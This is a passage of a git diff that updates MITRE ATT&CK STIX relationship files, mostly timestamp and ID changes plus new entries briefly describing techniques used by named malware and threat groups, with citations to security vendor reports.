+    "id": "bundle--c85c63c9-2601-4923-ba86-73efee3243b1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph uses RC4 to encrypt C2 responses.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
diff --git a/enterprise-attack/relationship/relationship--9267fe42-6290-4342-8024-38d703db4376.json b/enterprise-attack/relationship/relationship--9267fe42-6290-4342-8024-38d703db4376.json
index 205b9302b9..65f861d59e 100644
--- a/enterprise-attack/relationship/relationship--9267fe42-6290-4342-8024-38d703db4376.json
+++ b/enterprise-attack/relationship/relationship--9267fe42-6290-4342-8024-38d703db4376.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f6fc833-6bc9-4144-8872-30ccb8ce8d02",
+    "id": "bundle--bf219a32-8488-4853-8025-0e7801b72a0d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9267fe42-6290-4342-8024-38d703db4376",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can direct BACKSPACE to upload files to the C2 Server.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--926d0b0c-9421-4b8e-a740-8823e35c642f.json b/enterprise-attack/relationship/relationship--926d0b0c-9421-4b8e-a740-8823e35c642f.json
new file mode 100644
index 0000000000..a0f2479bc3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--926d0b0c-9421-4b8e-a740-8823e35c642f.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--8b72b0fd-98e8-4021-9a0e-1a821201ad3c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--926d0b0c-9421-4b8e-a740-8823e35c642f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has performed screen captures of victims.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "external_references": [
+                {
+                    "source_name": "Symantec Dragonfly",
+                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
+                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
+                },
+                {
+                    "source_name": "Symantec Dragonfly Sept 2017",
+                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--92711ee1-041b-4e35-a322-3e16790fcce2.json b/enterprise-attack/relationship/relationship--92711ee1-041b-4e35-a322-3e16790fcce2.json
index 507f1c7528..0bb79c6b11 100644
--- a/enterprise-attack/relationship/relationship--92711ee1-041b-4e35-a322-3e16790fcce2.json
+++ b/enterprise-attack/relationship/relationship--92711ee1-041b-4e35-a322-3e16790fcce2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--98086191-c96a-454f-ab79-2e9e7838840d",
+    "id": "bundle--b7b02f30-2e40-4cec-af83-3a9150ca8a83",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--92711ee1-041b-4e35-a322-3e16790fcce2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect the victim MAC address and LAN IP.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--92b34cc0-b059-4294-824f-bb92298f3ae6.json b/enterprise-attack/relationship/relationship--92b34cc0-b059-4294-824f-bb92298f3ae6.json
new file mode 100644
index 0000000000..d61cf1f294
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--92b34cc0-b059-4294-824f-bb92298f3ae6.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--86ea7a5a-9cb3-430b-a37e-228e89518568",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--92b34cc0-b059-4294-824f-bb92298f3ae6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--92c68b65-18b8-44e9-a368-692048ba9611.json b/enterprise-attack/relationship/relationship--92c68b65-18b8-44e9-a368-692048ba9611.json
index 1a579e74e0..4daa5bd9b0 100644
--- a/enterprise-attack/relationship/relationship--92c68b65-18b8-44e9-a368-692048ba9611.json
+++ b/enterprise-attack/relationship/relationship--92c68b65-18b8-44e9-a368-692048ba9611.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5a4f20ab-2736-4ff0-9c55-c3446bb47d3a",
+    "id": "bundle--8f833a1b-19a9-4ca9-99a6-d4b61f415f13",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--92c68b65-18b8-44e9-a368-692048ba9611",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--92c901ce-5edb-417f-8af5-d569203e241c.json b/enterprise-attack/relationship/relationship--92c901ce-5edb-417f-8af5-d569203e241c.json
index 7ec9c451bd..04a3766a4f 100644
--- a/enterprise-attack/relationship/relationship--92c901ce-5edb-417f-8af5-d569203e241c.json
+++ b/enterprise-attack/relationship/relationship--92c901ce-5edb-417f-8af5-d569203e241c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8638cdf3-50ff-4d74-b749-e8e36f424fbd",
+    "id": "bundle--153b1df5-08c7-425d-b037-4ab6975f7d44",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--92c901ce-5edb-417f-8af5-d569203e241c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes is capable of downloading files, including additional modules.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef.json b/enterprise-attack/relationship/relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef.json
index f6df6354c1..0a898c0c38 100644
--- a/enterprise-attack/relationship/relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef.json
+++ b/enterprise-attack/relationship/relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ef5fac4b-0e3f-404b-b456-b0b5be9a56bb",
+    "id": "bundle--8be0b3ec-9ea6-44b8-b01c-b659491f9f11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "nbtstat can be used to discover local NetBIOS domain names.",
             "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
diff --git a/enterprise-attack/relationship/relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4.json b/enterprise-attack/relationship/relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4.json
new file mode 100644
index 0000000000..a0cacb7202
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--73e1879f-1b4c-4261-b046-aa65e21ac51b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Traffic traversing the Tor network will be forwarded to multiple nodes before exiting the Tor network and continuing on to its intended destination.",
+            "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
+            "external_references": [
+                {
+                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
+                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
+                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d.json b/enterprise-attack/relationship/relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d.json
new file mode 100644
index 0000000000..50693f9548
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d.json
@@ -0,0 +1,36 @@
+{
+    "type": "bundle",
+    "id": "bundle--d439c86a-05e6-4bb7-b160-783d7a246b6e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "RawPOS dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--930175b1-0f2f-4f0b-99ad-13a4b304cc29.json b/enterprise-attack/relationship/relationship--930175b1-0f2f-4f0b-99ad-13a4b304cc29.json
new file mode 100644
index 0000000000..d8b84e39d7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--930175b1-0f2f-4f0b-99ad-13a4b304cc29.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--715d3cf2-5771-43de-8719-1dfb2571d1cf",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--930175b1-0f2f-4f0b-99ad-13a4b304cc29",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly dropped and executed SecretsDump, a tool that dumps password hashes.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                },
+                {
+                    "source_name": "Core Security Impacket",
+                    "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.",
+                    "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--932fa199-f4c0-4c39-bb30-a412607ee299.json b/enterprise-attack/relationship/relationship--932fa199-f4c0-4c39-bb30-a412607ee299.json
index 61290e915a..685a622422 100644
--- a/enterprise-attack/relationship/relationship--932fa199-f4c0-4c39-bb30-a412607ee299.json
+++ b/enterprise-attack/relationship/relationship--932fa199-f4c0-4c39-bb30-a412607ee299.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--acf0f587-9733-4c1f-af05-b7c97fddbcb7",
+    "id": "bundle--fe2b7664-e8f4-4fa5-a967-6ccac3c6123d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--932fa199-f4c0-4c39-bb30-a412607ee299",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Password stealer and NTLM stealer modules in CozyCar harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication. CozyCar has also executed Mimikatz for further victim penetration.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--935971d6-0af2-4683-971a-9acb523733fe.json b/enterprise-attack/relationship/relationship--935971d6-0af2-4683-971a-9acb523733fe.json
index c60747ad5a..8add2b46d9 100644
--- a/enterprise-attack/relationship/relationship--935971d6-0af2-4683-971a-9acb523733fe.json
+++ b/enterprise-attack/relationship/relationship--935971d6-0af2-4683-971a-9acb523733fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--87449a59-35f6-4428-8ad5-a3d013bb8ce7",
+    "id": "bundle--cdbbc1a2-7e78-4ecb-b6d8-7cf31a421aa9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--935971d6-0af2-4683-971a-9acb523733fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Windows Credential Editor can dump credentials.",
             "source_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
diff --git a/enterprise-attack/relationship/relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf.json b/enterprise-attack/relationship/relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf.json
index 9991017e04..e3bcfd1caf 100644
--- a/enterprise-attack/relationship/relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf.json
+++ b/enterprise-attack/relationship/relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--03e9940a-be68-4425-b9aa-8e2678620721",
+    "id": "bundle--a27f7e3f-e37e-4859-bb98-f64a7b0704c8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can delete files and directories.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d.json b/enterprise-attack/relationship/relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d.json
index 9391442399..312b4cfcc2 100644
--- a/enterprise-attack/relationship/relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d.json
+++ b/enterprise-attack/relationship/relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9bbfeddc-e661-4d5f-9ea4-b624f7880a6f",
+    "id": "bundle--c8178de4-96d5-4d0c-a389-08e1f73d7eda",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on network connections.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625.json b/enterprise-attack/relationship/relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625.json
index 3cc653c9b4..7cec9dd0cb 100644
--- a/enterprise-attack/relationship/relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625.json
+++ b/enterprise-attack/relationship/relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4c70669e-25fe-47a8-beb0-bf335cec3a13",
+    "id": "bundle--992133df-515a-4886-85a6-f888b4dffc07",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PittyTiger attempts to obtain legitimate credentials during operations.",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
diff --git a/enterprise-attack/relationship/relationship--93d83b03-8367-4655-84a5-9abaee885700.json b/enterprise-attack/relationship/relationship--93d83b03-8367-4655-84a5-9abaee885700.json
index 0018e5be61..acfa38029b 100644
--- a/enterprise-attack/relationship/relationship--93d83b03-8367-4655-84a5-9abaee885700.json
+++ b/enterprise-attack/relationship/relationship--93d83b03-8367-4655-84a5-9abaee885700.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f653ce4b-f985-463e-8d33-5d3d64a74c6c",
+    "id": "bundle--e8a7d22a-8e17-4388-b51d-37d8d860774b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--93d83b03-8367-4655-84a5-9abaee885700",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM contains a feature to manipulate process privileges and tokens.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b.json b/enterprise-attack/relationship/relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b.json
new file mode 100644
index 0000000000..f603b5f33b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e09b6e23-0d39-43c6-ab7c-f9703ef14ae9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT32 has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.",
+            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--94211067-148f-4196-a216-c1bb1e5cfc70.json b/enterprise-attack/relationship/relationship--94211067-148f-4196-a216-c1bb1e5cfc70.json
index 2d8a34b69b..eb58352639 100644
--- a/enterprise-attack/relationship/relationship--94211067-148f-4196-a216-c1bb1e5cfc70.json
+++ b/enterprise-attack/relationship/relationship--94211067-148f-4196-a216-c1bb1e5cfc70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aed97c82-acba-4216-920f-db2e134f587f",
+    "id": "bundle--820d65ca-483f-47e0-8611-6f537e2463d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--94211067-148f-4196-a216-c1bb1e5cfc70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Putter Panda attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
diff --git a/enterprise-attack/relationship/relationship--9453d60b-4f3f-494f-985d-e29094ef8945.json b/enterprise-attack/relationship/relationship--9453d60b-4f3f-494f-985d-e29094ef8945.json
index 8b1213ceb5..2c6bc846ac 100644
--- a/enterprise-attack/relationship/relationship--9453d60b-4f3f-494f-985d-e29094ef8945.json
+++ b/enterprise-attack/relationship/relationship--9453d60b-4f3f-494f-985d-e29094ef8945.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df67127f-0c38-479f-8957-2ffd6d1678c4",
+    "id": "bundle--bf80d082-4c63-4965-a0a8-66b2a88bef5f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9453d60b-4f3f-494f-985d-e29094ef8945",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses PsExec to perform remote service manipulation to execute a copy of itself as part of lateral movement.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
diff --git a/enterprise-attack/relationship/relationship--94b4648a-4108-468c-be51-cca365fd97ac.json b/enterprise-attack/relationship/relationship--94b4648a-4108-468c-be51-cca365fd97ac.json
index 72031b7336..66bb8d5f0d 100644
--- a/enterprise-attack/relationship/relationship--94b4648a-4108-468c-be51-cca365fd97ac.json
+++ b/enterprise-attack/relationship/relationship--94b4648a-4108-468c-be51-cca365fd97ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5890a725-21dd-461a-a5a1-b90f45bf6e83",
+    "id": "bundle--40919a32-c6b9-4da4-b190-a912fa71a574",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--94b4648a-4108-468c-be51-cca365fd97ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers system information via Windows Management Instrumentation (WMI).",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9.json b/enterprise-attack/relationship/relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9.json
index e41301005e..97816efa92 100644
--- a/enterprise-attack/relationship/relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9.json
+++ b/enterprise-attack/relationship/relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--74fb5831-6847-4689-a928-0c9782604899",
+    "id": "bundle--80e54c50-4d85-425a-a305-3e84df0ebb62",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can delete all Registry entries created during its execution.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee.json b/enterprise-attack/relationship/relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee.json
index 012e42ddc2..0fc3fbe707 100644
--- a/enterprise-attack/relationship/relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee.json
+++ b/enterprise-attack/relationship/relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
